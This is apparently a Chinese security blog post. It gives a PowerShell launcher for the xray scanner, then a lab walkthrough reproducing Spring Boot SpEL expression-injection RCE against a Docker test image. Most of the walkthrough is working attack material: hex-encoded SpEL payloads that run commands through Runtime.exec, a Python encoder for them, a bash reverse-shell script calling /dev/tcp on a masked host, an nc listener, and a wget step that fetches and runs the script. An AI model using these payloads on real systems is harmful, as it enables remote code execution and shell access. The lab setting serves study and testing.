|
原文链接:xray快捷启动它来了+昨天的文章
开始啦
在xray文件夹新建一个powershell文件(记事本新建即可)
内容如
- $time = Get-Date -Format 'yyyy年MM月dd日hh时mm分ss秒的被动扫描报告'
- ./xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output $time".html"
复制代码
另存为.ps1文件
要运行的时候右击该文件
选择使用PowerShell运行即可
完美,生成的报告文件格式是年月日的,例如
2020年05月06日07时33分51秒的被动扫描报告.html
简直不要太舒服。。。
如果无法运行,请确认你的电脑是否允许ps1文件运行,这个可以根据错误信息百度一下就好啦。。。
发现昨天的文章payload似乎没发拉伸,今天重新发吧
springboot_spEL表达式注入
1 前言
环境有打包成jar的环境以及docker环境
打包成jar的环境则是在windows运行的
jar包的需要jre1.8环境运行
jar环境后台回复“spel注入环境”即可
docker环境
使用如下命令下载
docker pull c1o2a3/springboot_spel_rce_bug:1.0
环境源码
https :// github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
2 利用条件
至少知道一个触发 springboot 默认错误页面的接口及参数名
3 漏洞影响
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
4 漏洞分析文章
SpringBoot SpEL表达式注入漏洞-分析与复现
https :// www.cnblogs.com/litlife/p/10183137.html
5 漏洞原理
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
6 复现过程
jar(windows环境下复现,弹计算器)
访问127.0.0.1:9091
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误:Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 `0x**` java 字节形式,方便执行任意代码:
转化的python脚本为
- # coding: utf-8
- result = ""
- target = 'calc'
- for x in target:
- result += hex(ord(x)) + ","
- print(result.rstrip(','))
复制代码- 执行 open -a Calculator 命令
- ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
复制代码
弹计算器
访问127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
好了,结束了。。。再见。。。
开玩笑
试一下linux反弹shell
发现在linux上面好像不能直接bash反弹shell,jio得很奇怪啊?
启动docker环境
sudo docker run -d -p 9091:9091 c1o2a3/springboot_spel_rce_bug:1.0
访问ip:9091
直接执行bash反弹
发现没用
虽然执行成功了,但是没有收到任何响应
想了想,可不可以使用wget或者curl去下载一个脚本,然后运行呢?
vim一个1.sh,内容如下
- #!/bin/bash
- bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1
复制代码
开台机器nc监听777端口
nc -lvvp 7777然后依次是
wget http://xxx.xxx.xxx/1.sh转换之后访问就是
- http://ip:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x77,0x67,0x65,0x74,0x20,0x68,0x74,0x74,0xaa,0xaa,0xaa,0xaa,0xaa,0x37,0x2e,0xaa,0x30,0xaa,0x2e,0x31,0x39,0x39,0x2e,0x32,0x32,0x2f,0x31,0x2e,0x73,0x68}))}
复制代码
进入docker环境发现确实下载了
下载完后执行sh文件,ok
bash 1.sh
成功反弹
|
|